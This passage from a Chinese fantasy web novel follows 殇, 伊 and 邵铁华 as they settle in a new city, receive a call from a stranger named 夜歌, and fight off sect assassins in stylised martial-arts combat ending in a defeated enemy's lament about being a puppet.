“他的确还跟我说了些事,不过这些事不是殿下您能够应对的,但告诉殿下您也无妨。他还告诉我,凝霜症的出现预示着一场寒潮风暴即将到来,那场寒潮风暴将会在一个月内降临在我们的国家之中。届时,即便这里炎热如沙漠,但也将在寒潮风暴中化作冰天雪地的‘白色地狱’。” 殇: “什么?!那可不行,那么多的百姓会死在这场寒潮风暴之中的。” 罗密欧: “不管他说的是不是真的,我们都得在这一个月内做好预防工作,以便浩劫真正降临时我们能减少些损失。——至于我的妻子安娜,若您能有机会救她,那么请务必要去救她。她是我爱的最深沉的人,是上天馈赠给这个世界的天使,也是我眼中最美的姑娘。” 说到此处,罗密欧突然停顿,紧接着深情地说: “但若国与她之间只能选择一个去拯救,还请殿下您务必先为了百姓而行动啊!我的家可以破碎,但天下更多的家不能破碎!我绝不能让我的人民遭受苦难!我绝不能让我所守护的家国遭受灾祸!” 听罗密欧这么说,殇拿起茶杯抿了口茶,然后轻轻放下茶杯,一口答应道: “我答应你!罗密欧·卡斯坦。” 但紧接着,殇话锋一转,说: “不过......可别忘了,守护这片土地的人可不只有你一个。——我曾是王,也是这人间的守护者。王殇之翼照耀下的土地,是不容许浩劫灾祸滋生的。即便我今朝失去了王的资格,但身为曾经的王,我还是要为了我的土地与人民战斗!” 罗密欧鼓了鼓掌,笑着说: “殿下您真是英雄豪杰一个,不愧是能打败万千殖民者大军的英雄。——既然殿下您与我有着同样的志向,那么以后我们就是同路的战友了。” “哦?那倒不错。有你小子协助,就是神来阻止我们,我们也给他杀掉,就像切土豆一样。” “殿下您真幽默。——那么这比交易就愉快地谈成了。” “交易什么的是一码事,守护土地是另一码事。一码归一码。钱什么的,等这浩劫过去了再说。” “行,就按殿下您的意愿来。——以后若是我知道了处理这浩劫的办法,我定会通知殿下您。到时候,还请希望殿下前来协助。” “你就放心吧,我定会扫除祸害一方的灾祸的。” 接着,殇和罗密欧聊起了伊,殇好好跟罗密欧介绍了下伊,并阐明了伊对于当今世界的重要性。聊天时伊在一旁支支吾吾,似乎又陷入到开始时那种状态。罗密欧在知道了伊的重要性之后,也表示自己会去守护伊的安全。两个男人在此刻打成了共识。 与罗密欧的谈话结束后,殇和伊被安排到了南柯尔罗斯(重点城市名)中的一处高档居住小区内。罗密欧将自己的一处房产暂时借用给了殇和伊住。这下殇和伊在这个国家有了落脚的地方。 来到他们的暂时落脚点,殇和伊先将屋内好好收拾了一番。一通劳累之后,殇和伊靠在沙发上,规划接下来的生活。换到新的地区找工作维持生计是他们要面临的头等问题,之前两人所从事的工作无法在这里继续从事下去,因而他们还得另寻出路。 就在他们思考这一问题的时候,突然有人敲门。殇前去开门,一看是雷·邵来了。见到殇后,雷·邵将憋了一肚子的怨气向殇撒出。她很不满地说: “真是的!找你们两个找了半天。我还以为你们两个失踪了呢!亏我找了半天,原来你们跑到这里来了。” 殇听她这么说,才意识到自己将她遗忘。于是乎,殇急忙向她道歉。 “抱歉哈!净顾着忙事,把你给忘了。” “害......可真不让人省心。” “快,进来坐坐吧。——顺带我给你安排个房间。” “啊?你要让我跟你们住一起?这怎么可以呢。” “好吧,原本伊那屋子是双人床,我和伊还分屋睡......” “什么?!原来是这样吗?快快快,我改主意了。——我跟伊睡一起可以不?” “你要想的话就可以。” “太好了!我最喜欢跟伊在一起了。” 伊侧着头,一脸疑惑地看着雷·邵,她似乎听见了刚刚雷·邵说的话。 随后,雷·邵就进了屋,随殇一起坐在了沙发上。三人坐在一起,一同思考工作问题。介于雷·邵是中阶四星调解人,所以雷·邵的生活问题有基本保障。而殇和伊就不一样了,两人离开了东城后就是无业人士,来到新城市还得寻找份合适安稳的工作。比起伊来,殇找工作更容易一些,介于殇在东城之眼的名号,殇来到这里也依然可以去找途径去干以前的雇佣兵工作;而伊就不一样了,没了法戈·明的照顾,再加之她身份特殊,很难找到一份安全又体面的工作。 伊很苦恼这点,殇更是苦恼。雷·邵在一旁看着,十分无奈,提建议也提不出什么有用的建议,只能同二人一起憋屈地思索。 伊: “怎么办才好呢?我有学历,但因为我身份特殊,高薪职业还难以就职。不用学历吧,那种普通的工作碰的人也多,也危险。殇有自己的赚钱门道,我也不能让殇时时刻刻守护着我。怎么办呢......好苦恼,仿佛看不到希望一样。” 雷·邵: “伊,我有个提议。要不你当我助手怎么样?我给你开工资。” 伊: “那怎么能行呢?我很在乎我的尊严。” 雷·邵: “那咋整?干这个不行,干那个不行的......还有什么是允许你选择的?要不你就从了我,当我可爱的秘书吧。” 伊: “那还是算了。秘书这一行......我不想当。” 殇: “伊,实在不行你就暂时别找工作了。让我这个老爹来养活你吧,起码我能确保你饿不着。” 伊: “那样不行,我要靠自己的方式养活自己,我是个自强的人!——等等......殇!你怎么可以这样。” 殇: “你这猪脑子还是慢半拍啊。” 伊: “殇......你真是个坏家伙。” 雷·邵: “哇!伊,原来你爹这么年轻的吗?” 伊: “他不是。我没......哦,不,我有......” 雷·邵: “那你到底有没有呢?” 伊: “我......我......我不知道呀!” 雷·邵: “你就别倔强了,直接承认会好受点的。” 伊: “哼!不理你们两个了。” 雷·邵: “诶!伊大妹子,别生气啊。” 伊: “哼......” 这时,殇的手机响了。殇拿起手机一看,是个陌生号码打来的。殇先是疑惑了一下,然后没顾及那么多就接通了电话。接通后,电话那头传来了一个中年男人低沉的嗓音。 “殇先生,想不到你这么快就来这里了。” 殇轻皱眉毛,疑惑地说: “你认得我?报上名来!” 电话那头没有忌讳,直接了当地说: “我叫夜歌。” “夜歌?!先前吴说的那个夜大哥?” “你认识吴?那可太好了!吴现在在哪里?” “她去黄泉路了。” “什么?!看来......我曾经梦到的那些是真的。” “若你是她的朋友,请你默哀。” 电话那头沉默了十几秒,而后继续说道: “你有时间吗?殇先生。我想与你见面,有些东西我想告诉你,但只能见面的时候说。——这关乎你所重视的东西,希望你能答应我这个请求。” “说吧,去哪里见面?” “今明两天,巨星城郊区云仙山上的养生堂,请带着你和你的朋友来,我有许多重要消息要跟你们说。” “行。” 说完,对方挂断了电话。 在今天晚些的时候,殇他们下楼去暂住地附近的街上转悠转悠,休闲的同时顺带熟悉一下新环境。这里作为幸存者联盟国的首都,每一处看起来都自然是派头十足。就例如说街,比起东城的街,这里要显得要好上几分;就连路旁的路灯,都比东城内的要好看些。这里的街并非是东城那般白日安静夜晚喧闹,这里时常都有人欢声笑语的声音,几乎是时常能听见有人在谈话。街上的行人身着五花八门,没有清一色的西装,只有百花齐放般的各具特色。马路上车来车往,虽是汽笛声也同话声不绝,但比起地平区、穹顶区的大都市,还是显得贫瘠了些。但即便如此,这里也依然能算得上风岭区的奢华。 伊: “比起东城,这里真是不安静呢。在东城待久了,倒有些不习惯热闹了。” 殇: “我也一样。安静久了再面对热闹,总有些不适应。——热闹些还是好一点,毕竟热热闹闹的才有生命的活力吗。” 雷·邵: “这点我赞同。我曾是东城的居民,这一点我深有体会。” 伊: “啊?那你是东城人吗?” 雷·邵: “没错,我是。不过我家是现任邵氏集团董事长的亲家,所以我出生在了一个环境优越的家庭之中。” “可你为什么后来做了调解人呢?” “这个吗......因为我跟家里那边决裂了,现在离开家已经很长时间了。为了维持生计,我就跟了我二婶一起混生活。因为我二婶是调解人,所以我也当了个调解人。” “哦。” “说实在的,当个调解人其实也还不错。杀戮是常有的事,但我多半会选择真正的‘调解’,帮别人捉奸、找凶手、调查事情什么的也挺好的不是吗?都有钱赚,只是多几分少几元罢了。” “那你干这一行累吗?” “累!肯定是累。这世上没有那种工作是不累人的!如果想生存下去,就必须持之以恒地付出努力!——我曾想过去转职。但是吧......既然都是入了圈子的人了,手上也不干净了,就没有理由离开了。” “哦。那无颜客......” “你说师傅啊!他老人家对我可好了!把我当至亲来对待,还用实际行动教会我许多道理,让我知道该怎么生存、做人。说实话,要不是我遇到了师傅,我的实力还提升不了那么快呢。” “哦。” “还有,伊。我偷偷告诉你个小秘密。——其实呀,我不叫雷·邵,这是我的称号而非本名。我真实的名字呀,叫‘邵铁华’。行内的人都称呼我为‘阿铁’、‘铁姐’呢。” “邵铁华?很好听的名字呢。” 这时,在一旁的殇插嘴道: “喂喂!你这悄悄话未免有些太张扬了吧,我在这边都听到了。” 邵铁华: “啊?那你可要帮我保守这个秘密哦。像我这样神秘又强大的女孩子,是不能让人轻易知道我姓名的。不然......会有人查我家水表的。” 殇: “好的,阿铁。” 邵铁华: “唔......好吧,你这么叫我也行。” 伊: “阿铁?” 邵铁华: “伊,你不行!你得叫我铁铁。” 伊: “嗯~~不,我就叫你阿铁。” 邵铁华: “叫铁铁好听,叫我铁铁。” 殇: “这话怎么越说越奇怪了?——阿铁,叠词说起来不觉得有那么一些......恶心吗?” 邵铁华: “你懂什么,这叫姐妹关系好,这叫情趣。” 殇: “yee~~” 就在这时,一伙黑衣刺客突然出现在了街道两侧的高楼楼顶。他们凝视着街上的殇一行人,并伴随其一起前进。他们在黑夜的伪装下化身幽灵,无影无踪地前行,顶着夜色慢慢摸到了殇一行人的近处,接着潜伏在黑暗之中伺机行动。 殇他们浑然不知,危险已经悄然降临。 殇一个脚步迈下,脚掌刚刚接触地面,地面异样的细微颤动就被殇所察觉。殇猛地停住脚步,伸出手来拦住了邵铁华和伊。邵铁华见殇如此,瞬间明白了殇的意思,随即她与殇一同张望四周,寻找异样的出处。夹在两人之间的伊看得是一头雾水,完全不知道发生了什么。 殇和邵铁华敏锐的眼光环视街上的每个角落,街上任何一丝风吹草动都尽收他们眼底。他们竖起耳朵仔细聆听周围的声音,在周围喧闹的氛围之中警戒那随时可能出现的异常之声。 突然,一阵急促但微弱的脚步声从殇他们背后传来。殇飞速转身,见到一位手持短刀的黑衣刺客向他们疾驰而来。殇一把推开伊和邵铁华,随即变出生或死,抓准时机垫步上前,一刀挥出逼退对方。对方后撤三步躲开,而后如飞鸟一般跃起,对着殇就是一刀。殇弯月上挑斩断对方的刀,又接侧身冲拳将对方打飞出去。 殇: “小心,有人盯上我们了。” 这时,又有一位黑衣刺客向他们袭来。这次,目标是邵铁华。邵铁华察觉到刺客接近,于是飞快地抽出腰间沉重的金刚杵,以杵为盾招架下刺客的斩出的一刀。招架下攻击的一瞬间,她手中的金刚杵上亮起蓝色的法纹,几道淡蓝色的闪电随同法纹一起出现。雷电如藤蔓般缠绕在金刚杵上,蓝色的法纹激活金刚杵内的机关,金刚杵的两端伸长,眨眼之间就变做一根长铁棒。 邵铁华: “这位小兄弟,你路可走窄了呀。” 邵铁华握住这根铁棒,一个垫步加转身一棒子打出。这一棒直接打在黑衣刺客的肩上,令黑衣刺客始料未及。清脆的骨头断裂声传出,黑衣刺客踉跄着后撤。邵铁华哪能给他逃脱的机会,一个垫步下劈打出,黑衣刺客躲开;她又接一个突刺,黑刺客躲避不及,被打中腹部,而后后撤几步躺倒在地面上。 又来一个黑衣刺客,这次的目标是伊。但没等黑衣刺客出手,邵铁华将核心能量汇聚在铁棒上,对着黑衣刺客用力一捅,放出一道雷电。黑刺客躲避不及,被雷电击中,当场麻痹而后倒地。 处理完这个黑衣刺客,更多的黑衣刺客出现,将他们团团包围。 街上的行人被这突如其来的事件吓得四处逃散,街上很快就只剩下一伙黑衣刺客与殇他们三人。 面对这么多的敌人,殇他们全员进入了战斗状态。就包括最弱小的伊,也拿起了光之剑来自保。黑衣刺客们包围住他们,但未有一位上前进攻,只是站在原地等待。殇他们见了,虽很疑惑,但仍保持警惕。这时,在高楼上传来了一男一女的说话声。 “真是精彩呢!想不到削弱至‘残废’的王,竟还有如此强大的力量,真是不敢恭维。” “你们能活下来,真该替你们庆幸。” 殇他们转头向上看去。一男一女两个宗家弟子站在高楼上,正用一种异样的眼光去看他们。那名男子身着黑绿搭配的服饰,腰间佩戴一把七曲长剑,衣服胸前的有着翠绿色蛇纹;那名女子身着白红搭配的服饰,背后背着一把带刃可变形机关短弩,衣服的双肩处有着一对鲜红色兔纹。 见到他们,殇大声质问道: “宗家势力,为何要与我等无缘者战斗?!若是寻个不痛快,为何不去寻那些宗门高手较量?” 那一男一女笑了笑,然后一个健步从高楼上跃到地面处。正巧落在了黑衣刺客们的包围圈边缘、殇他们脸所对的方向。那一男一女拿出身上携带的武器,而后一脸淡然地盯着殇他们看。两方人马彼此对视,谁也没有率先行动。过了片刻,那位男子开口,打破了这片刻的平静。 “既然要让你们死的明明白白,那我就告诉你我们的名字吧。这是武德的一部分,是江湖道德。——鄙人名为越秋来,是蛇宗现在的二哥。我大哥是蛇宗现任宗主,名为‘七曲南阳州’。” 听他做自我介绍,他身旁的那位女子也说起了自己的身份。 “在下不才,其名曰甘霖饶,是兔总现在的三姐。我四妹是兔总现任宗主,名曰‘饥月残瞳’。——我们来此,是为了应大人之名,阻止废王重新登基的。为了能彻底斩草除根,妾身可为在下准备了不少好东西呢。” 殇: “废王?好家伙,我在你们老大眼里就是这么废物吗?” 伊: “来者不善呀。” 邵铁华: “宗门势力都牵扯进来了,看样子事情远比我想的要复杂。” 这时,甘霖饶注意到邵铁华。似乎是她知道有关邵铁华的事,她开口就对邵铁华冷嘲热讽起来。 “诶呦呦,这不是邵氏家族的子弟吗?邵氏自天宫陨落下来这么多年,这后人丫头的脸蛋还是如仙女一样美丽,真是让人喜出望外呢。若是在上面划上几刀,那将会更美丽的。” 邵铁华皱紧了眉,表情瞬间变得愤怒起来。她握着铁棒的手更加用力了。 邵铁华: “少放屁!你这贼人!休侮辱我的民族!若你再用你玷污了灵魂的嘴来嘲讽我,小心我一棒子把你这狐狸精打回原形。” 甘霖饶的瞳色变得血红,她被邵铁华的话弄得有些生气。 甘霖饶: “污言秽语!不愧是大人口中的贱民。” 越秋来: “郭妹妹,不必因贱民之嘴而恼火。都是将死之人,何必在乎死者的遗语呢?——要我说,直接结束谈话了当些。” 甘霖饶: “那最好了。我现在真恨不得撕碎那张贱人的脸。” 两方人马蓄势待发,一场恶战一触即发。 ...... 宙级洪流: “当一切都逝去的时候,对命运的挣扎还是有意义的吗?若是拼搏至一无所有的境地,那样的拼搏还是有意义的吗?这份答案有很多种,可能解决这眼前问题的也就只有一种。理论假设可以反复推导千千万万遍,可现实实践起来却只能有三两遍,甚至于一遍。” “我们一同经历了百次循环,我也见证了失色与添色的世界,也看到了我们无力的尝试为这个世界所带来的浩劫。我的心也随着重置的一遍遍开始而变得成熟,我也发现了梦想所蕴含的真谛。我、我们、大家的梦想是星辰一样的存在,当触及星辰时再能看到的,也许就是无尽的虚空。” “尽管我已经认清现实,拥抱这痛苦又而没有意义的每一个朝暮,但我仍相信着、祈祷着、盼望着......那个名为王的存在,重新打破这神所束缚的世界上的无形枷锁,让自由之风在我们的土地上翩翩起舞。” “啊!我的王啊!我们的导师斯格玛已经重归这个世界,要与我们一起狩猎神明啊!我的王啊!若您能听到我的呼喊,请您务必要去寻找棋的力量、寻找那弑神武器、寻找那属于我们的天空!” window.fkp = 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说完,殇猛地停身,随即用力跺脚,借着跺脚时的反冲力一个健步跃起到半空中。接着,殇一甩手,将手中血骸扔向越秋来。血骸回旋而来,越秋来用七曲长剑灵活招架,以柔克刚将回旋的血骸静住,随即用力一甩将血骸甩到一旁。殇见此竟丝毫不慌。殇空中一个转体,紧接着对血骸伸出手来,又用力一抓,他即刻飞速跃到血骸旁。殇拿起血骸,二话不说抡起血骸来就是一顿猛攻。越秋来灵活运用手中的七曲长剑,刚柔结合,见招拆招,努力压制殇猛烈的攻势。 殇的攻击迅猛而致命,手中的兵器与腿脚的配合堪称完美,既规避了长柄武器的弊点,还利用好了长柄武器长而猛的优点。越秋来也不甘示弱,配合着他的武功与法术,他将手中的武器用得出神入化,可谓是避其短用其长。他手中的七曲长剑就如毒蛇一般,迅猛、致命、还灵巧。殇用出回旋斩、二连斩、回身扫叶斩、猛虎重劈等一系列招式去猛击越秋来,越秋来则用出七曲剑法的五段连招来正面招架这些招式,同时借机寻找突破点,试图给殇致命一击。 两人在较量之中不分伯仲,谁都没展露出自己的破绽来。但是,这种持平的局面也只能维持到殇与对方试招完成的那一刻。殇自始至终还为认真去应对,这是他身为王的一种仁慈。 两人的战斗只是进行了半分钟,殇就摸索出了对方出招的全部可能,同时依照战斗记忆明晰了对方的弱点。殇主动后撤几步,随后举起战斧,用柄底砸地一下,震慑对方。殇的震慑效果甚微,反而让对方警惕地召唤出幻影剑来护身。殇委婉地叹了口气,说: “看来,今天得跟城管谈谈了。这地砖,不知得花掉我多少钱。” 越秋来一脸疑惑地问: “都这时候了?还在乎你那点钱?” 越秋来不知道殇说出这话代表着什么,也丝毫没有察觉到殇刚刚是在放水,他以为殇尽了全力,还信心满满地妄想着击败殇。 殇单手抡起战斧,疾步前冲御风前行,眨眼之间来到越秋来面前。殇挥出手中的战斧,只听得当的一生,越秋来本能举起的七曲长剑刹那间碎成了无数银光闪闪的碎片,哗啦一下散落一地。只是用力的一招,竟能粉碎宗门内顶级工匠打造的兵器,这属实震撼到了越秋来。越秋来敏锐的察觉到了不对劲,于是连续后撤与殇拉开距离,同时舍弃手中的长剑,选择战略性退避。但就是他这么一退,就给了殇完美的进攻时机。殇抡起战斧,一个疾步追上前去,在逼近对方的一瞬间挥出致命的一记裂地下劈。轰的一声,地面被击碎大片,顿时间掀起高达三米的气浪,刹那间气浪席卷整座街道,撼碎了五六盏路灯。越秋来侥幸躲开了这一下,但被气浪所波及,不仅身旁护身的幻影剑破碎,而且五脏六腑都受到了不小的损伤。 越秋来不敢怠慢一刻,他急忙使用蛇宗阵法,变出一对蛇牙兵器于双手之中,并点亮了衣服上的蛇纹。越秋来不得不用出全部实力来应战。刚刚的那一击他心有余悸,若是被那一招打中,即便修为几十载,也定会肉体坏灭。 殇拔出战斧,没等对方出手,就又一招斩马横扫招呼了过去。越秋来见了,化作绿色幽影灵活躲避,躲开攻击的同时掏出蛇牙,对着殇连续猛攻。殇后撤两步接转身打出横扫,逼退越秋来。接又双手持握二连平砍,阻击越秋来的蛇牙连击。但越秋来身手矫健,一个横移躲开攻击,又一个高跳来到殇的头顶,张开双臂就要给来殇一个蛇之啃咬。殇岂会站在原地挨打,他聪明地下压身体,利用杠杆原理加速斧头上移,接着一记弯月下劈打出。越秋来猝不及防,但灵巧变招,使用凌云步在斧头靠近时蹬腿,又一个后空翻快速落地。 越秋来心里: “好险,差一点就被打中了。” 殇见这招打空,瞬间用出回旋斩,同时移步向前突进。越秋来以为殇要劈砍向他,就猛地后撤挪步与殇拉开距离,同时将法力汇聚于蛇牙之上,等殇停下来的一瞬间就对殇用出猛蛇突进。突然有一刻,殇不再挪步,用力挥动战斧的手也松了些力气,似乎殇要停下来了。越秋来见此喜出望外。他知道机会已经成熟,于是立即停下后撤的脚,用力一个蹬地用出猛蛇突进,像一只狩猎的毒蛇一样冲向他的猎物。但他想错了,殇手中的战斧虽减速、殇的动作虽显出疲累之意,可殇那双犀利如鹰隼般的眼,可还死死地盯着他呢。这也是殇计划的一部分。 殇: “你我之间的游戏已经结束了。” 殇慢速转身,一个急停甩出手中的战斧。越秋来始料未及,难以想到殇会使出这样的阴招。回旋的战斧飞速逼近越秋来,此刻那只毒蛇却怯懦了。越秋来将法力变性为防御属性,紧接着抬起双臂格挡这飞来的回旋战斧。他知道他此刻无法躲避,只能硬着头皮去防御殇的攻击。垮啦一声,如镜子被打碎,越秋来手中的蛇牙碎裂成无数闪烁的翠绿色碎片,紧随着就是几滴鲜血从越秋来的嘴中飞出。 越秋来: “唔啊......这......这是何等的力量?” 战斧被弹开了,越秋来在强大的冲击下被击飞。这时越秋来才发现,那把战斧上闪烁着密集的红色雷电,定是那殇将巨量的核心能量汇聚在其上所致。越秋来恍然大悟,终于明白为何殇要用出那般破绽重重的招式。那并不是无所作用,而是障眼法。可惜,他醒悟的太晚了。 殇猛地用力蹬地,飞速来到战斧旁边,一把拿起战斧,而后一个回旋落地。接着,殇轮动战斧卷起飓风,在风达到某个最剧烈的顶点时,殇一个疾步前冲加蹬地一跃而起。这一跃并未达到殇的预期,殇没能一下子跃到理想中的最佳位置,但此刻他身处的地方,却是另一招必要的完美位置。殇竖着一把扔出手中的战斧,随即战斧猛击地面,掀起四尺气浪与碎石。正巧此时越秋来落地,还没完全从刚刚的那一击中回过神来。殇抓住这个机会,伸手一拉加空中转体三周,尽可能快地来到了战斧旁边。殇双手握紧战斧,接着一把将战斧从地里拔了出来。越秋来此刻与殇共处一条直线,而且越秋来的意识还有些模糊。 殇: “血骨裂刺,出!” 殇抡起战斧猛地劈地,一条细长的细长与两人共处的那一条直线所重合,刹那间就蔓延到了越秋来脚下乃至身后七八米处的地面上。殷红色的血雾从这道裂缝中喷涌而出,紧接着耀眼的红光伴随着血雾出现。地面微微颤抖几下,暴风雨前的宁静很快过去。斧头劈地后还不到两秒,一排锐利的、覆盖着血肉组织的骨头锥子从裂缝中向上刺出,接着这排骨头锥子在眨眼之间就向上刺出了四米多的高度,其速度快到肉眼难以可见。越秋来还没意识到发生了什么,就被脚下的骨头锥子刺穿了腹部,接着发出了痛苦的惨叫声。 “啊!!!” 这一排骨头锥子出现的快,消失的也快。越秋来还没叫两声,这些骨头锥子就化成轻薄的血雾,飞速消散了。越秋来狼狈地落在地面上,一时之间像个娃娃一样一动也不动,直到殇拔出战斧的那一刻,他才艰难地从地面上爬起。越秋来使用蛇宗阵法治疗自己,但此时他已如风中残烛,任何的自救与挣扎都是无济于事。见治疗术已经对自己没用,越秋来放弃了挣扎。临死前,越秋来苦笑着对殇说: “你杀了我也没用的!在大人回归这片土地的时候......你们......都是待宰的羔羊!哈哈哈哈!——我全都知道,人没法杀掉天上人......就是你也一样。哈哈哈哈,我们......都是尘埃与小鼠。” 越秋来趴倒在地面上,随后便失去了生命。越秋来死后,他的身上泛起了翠绿色的灵息,灵息显露出竹子的形状。见到越秋来死去,殇有些惋惜地摇了摇头,又对越秋来的尸体鼓了鼓掌。 殇: “若他能不被那所谓的大人当做傀儡,他的一生也许就不会这么快结束。我很佩服你的实力,但可惜这份夸奖你听不到。——我讨厌拿别人的生命不当命的人,尤其是那该死的傀儡师。” “人没法杀掉天上人?我怎么就不信呢?我的祖先就连神明都可以猎杀,而我作为他的后人,我也能像祖先那样英勇。更何况,我还是王。” 在邵铁华这边...... 在几轮远近交锋之中,甘霖饶凭借着灵活的身法与远程武器的加持,在多方面碾压邵铁华。但邵铁华铁姐的外号可不是白叫的,她真如钢铁一般坚挺,无论是她的意志还是她的肉身。她在硬接了三支破甲毒箭后仍能战斗,而且丝毫没有表现出一点虚弱的样子。战斗时,她身姿轻柔如水鸟踏水,进攻招式猛如兽王捕猎,短时间内就逆转局势,很快就让甘霖饶陷入被动的局面。 甘霖饶被迫使用血瞳凝视,使用宗门阵法来应对邵铁华。血瞳一开,甘霖饶手中的弩就变了样子,同时她发射出的箭矢也变了样子。血瞳加持下,她发射出的每一支箭都是具有灵性的、带有一定追踪性的、且都是附带着沸血之火的,若是被这样的箭打中,非死即伤。但邵铁华怎会满足她心愿,邵铁华见甘霖饶手中武器变了样,就立即激活了她体内的继承者之力。 她所继承的血脉:“铭龙”,其对应的超拟态即刻在她身上显现。 她手背处长出黑岩色龙鳞,头上冒出一对有着黑夜之色的龙角,瞳色也变成紫罗兰的颜色,龙的神锐在其中浮现;密集的紫色闪电在她身上如风儿般呼啸而起,顿时间她全身上下都充满了雷电的力量。她手中的铁棒内部的机关感受到这股力量,随即内部机关转动,一行字在铁棒中央亮起。其为“风雷金刚杖”这五个耀眼的大字。同时,这根铁棒的造型发生了细微的改变,两端的造型变化最为明显。似乎是为了加大雷电的释放,棒头两端的开口变大了些。 邵铁华: “敬请见证,铭龙之雷震颤大地,不屈之人粉碎强敌。” 邵铁华抡起金刚杖,对着甘霖饶就是一顿乱打。甘霖饶近战招架邵铁华猛烈的攻击,同时一直频繁移动身位,寻找能拉开距离上弦射箭的机会。可是邵铁华穷追不舍,就抓着她近战能力不强这一点来对她持续猛攻。虽是这样,但甘霖饶还是抓住几个时机,放出了几箭来。但很可惜的是,这几箭有一半因为瞄准失败而打偏,还有小部分被邵铁华挥动棒子弹飞,或是用雷击销毁,只有可怜的一根箭打中了邵铁华的右手小臂。 虽已命中一箭,理应邵铁华该在痛苦中倒下,可她却凭借坚强的毅力忍住痛苦,并勇敢地拔出那根插入小臂中的箭。甘霖饶能看出邵铁华的表情是痛苦,可邵铁华就如钢铁一样,叫也没叫、哭也没哭、就连一滴泪水都不愿因此流下。甘霖饶被这种强大的毅力所感动,但因为两人是对手,她也便没有对邵铁华仁慈些许。 甘霖饶: “诶呦,可以吗,小妹妹。这般毅力超越男子,可不是优柔寡断的女人该拥有的。你呀,前世是不是那个将军啊?” 邵铁华: “少说废话!纳命来!” 在与邵铁华较量了一段时候后,甘霖饶身上已然有了多处伤痕,邵铁华身上的情况也不乐观。现在处于上风地位的邵铁华身上,伤痕竟远比甘霖饶要多。两人的战斗力差距能从这里看出,邵铁华不及甘霖饶强大。但是论最后谁最有可能取胜,还属邵铁华。因为她拥有超越常人的坚强毅力、如钢铁般强大的内心、还有如群山般不肯屈服的身躯。这一场战斗比不上生死决斗,但邵铁华硬生生打出了宿命之战的韵味。只是奉大人之命来刺杀她们的甘霖饶,未曾预料能遇到这样令她难忘的对手,瞬时间她就觉得战死在这里倒有些值得了。 甘霖饶: “小妹妹,也许今天老娘就得死在你手里了。不过,你给我留下了很深的印象,不是单纯的战斗回忆。虽然我是来杀你们,但我实则只是傀儡而已。无论结果如何,我也早就料到我会死在这里。” 邵铁华: “哦?开始打感情牌了吗?我告诉你!没有敌人可以在我的手中得到仁慈。若有,那得是天王老子!” 甘霖饶: “哈哈哈......就和我年轻时一样呢,不服输,还总想着去证明自己......喜欢去耍帅装美,还又有些不自量力。——哎......这一战算是没白来了。” 邵铁华: “你到底在嘀咕谢什么?难道退却了吗?还是说......我触及到你心中的某个区域了?难不成......你真的就想跟我说几句?” 甘霖饶: “也许是吧......那么休息也休息够了,我们继续战斗吧。——无论最后是谁活了下来,都逃不过被人当做傀儡的命运。但是你......——哎.......希望你能是把锐利的剪刀,或是一把无柄的刀锋。” 邵铁华: “好嘞!谢谢啊,借你吉言哦。” 又在一轮交战过后,甘霖饶不出意外地败下阵来。 在硬吃了穿云雷枪与雷棍三连打之后,甘霖饶虽能保持站立的姿态,但却做不出任何攻击的动作来。她全部的法力都用在了消除雷电、消除攻击损伤以及维持血瞳形态上。她很后悔跟邵铁华近程战斗,若她能拉开距离在大楼上放暗箭,她也许就不会败在邵铁华的手中。她同时也很欣慰,因为就是这样愚蠢的决定,让她结识了这个如钢铁一样坚毅且强大的姑娘。这个姑娘的名字她不知道,仅能知晓她姓邵。但即便如此,她心里已经想好了自己对这个姑娘的称呼。“铁莲花”,这是她想出最好听的称呼。 甘霖饶心里: “真是的......明明只能在都市中出场这么短时间,唯一一次短暂的战斗却弄得这么深情。——也许......是她的魅力太大了些吧。也许是我爱上了她吧......——如果我们不是敌人,我真希望我和她能是朋友。或者说,若能转世再来,我希望我是都市内平凡的一员。即使我在都市之中没有地位也没关系,只要能让我以朋友的方式结识到她就好。” 在越秋来战死后,甘霖饶与邵铁华的战斗的结果也即将分晓。 最后时刻,邵铁华连续对她身体打了两棒,直接将她打退到街的一旁。她此时全身酥麻、精神恍惚,最后实在无法支撑自己站立,一个重心不稳靠着墙倒下了。邵铁华提着金刚杖漫步向甘霖饶走来,甘霖饶见了竟没有丝毫慌乱,她的眼中甚至看不出有半分对死亡的恐惧。甘霖饶把手一撒,扔掉手中的武器,彻底放弃挣扎。一想到自己即将战死,甘霖饶反而露出微笑,倒觉得坦然了些。邵铁华一看,甘霖饶竟一点挣扎的意思的都没有,感觉疑惑至极,觉得不可思议。 邵铁华: “你为何不奋起反击至你死亡的那一刻?这样放平自我,你是彻底放弃生的希望了吗?” 甘霖饶: “不,我是看到我的命定之死,我才选择此时放手。” 邵铁华: “为何?你这样只会显得你的死很憋屈。” 甘霖饶笑了,笑得很阴森,还有些无奈与绝望。 甘霖饶: “最后时刻,就算是条狗,也该缩起身体胆怯害怕了吧。——多咬一口,少咬一口,敌人也不会死的不是吗?若是凤凰那样临死反扑对方,能让对方在生命淬炼而成的火焰中殒命,那样还有做的意义。可我......只是一条小狗,一条天上人的小狗。” 邵铁华: “你为何这么贬低自己?” 甘霖饶: “这不是贬低,这是在阐述事实!” 邵铁华: “怎么个事?!” 甘霖饶: “我们,只是笼中的犬,不......应该说是鼠。——世界的命运都掌握在那群高高在上的天上人手中,或是掌握在那些富绅官僚的手中。我们再怎样修行,就是成仙了,只要无法斩杀神只,还终究是那笼中之鼠啊!” 邵铁华手中的金刚杖上的雷电消失了一大半,同时她身上象征着警戒的闪电也随之消失了许多。 邵铁华: “你为何不反抗?” 甘霖饶: “呵呵......反抗?我早就累了,真的累了。” 邵铁华: “此话怎讲?” 甘霖饶: “我早在反抗的过程中失去了一切。——我曾制造出能让天上人流血的箭矢,也曾制造过能一箭贯穿重甲的机关弩。可最后我还是失败了,我甚至都没有见到天上人的样子,我就输得彻底。——我的家人都成了被人操纵的活体傀儡,就连最疼爱的姐姐也都是那样。除了我的宗主姐姐以外,我的其他姐妹都被天上人所蛊惑,成了自愿献身的傀儡。” 邵铁华: “什么?!这天下竟然有这种事。” 甘霖饶: “看看我们这可悲的一行人吧!那个不是不要命的战斗?那个不是因为天上人而鬼迷心窍?那位越公子,你看他活得好好的,实际上他的心早就被蛊惑住了。他还是我们这些人中被蛊惑程度第二浅的人呢!可都变成这样了,还有什么能够去挽救的余地呢。就像这场大疫病一样,毫无胜算啊!” “迷失在权力、财富、力量的漩涡之中,被深渊无情撕裂啊!就连我这个反抗者......都已经不在岸上了。” 邵铁华被甘霖饶给说动了。她身上展现出的超拟态消失了,那些环绕在她身上的闪电也消失了,她不再处于战斗状态。这时殇走了过来,见到邵铁华迟迟不动手处决甘霖饶,感觉其中有蹊跷,于是在一旁静观。 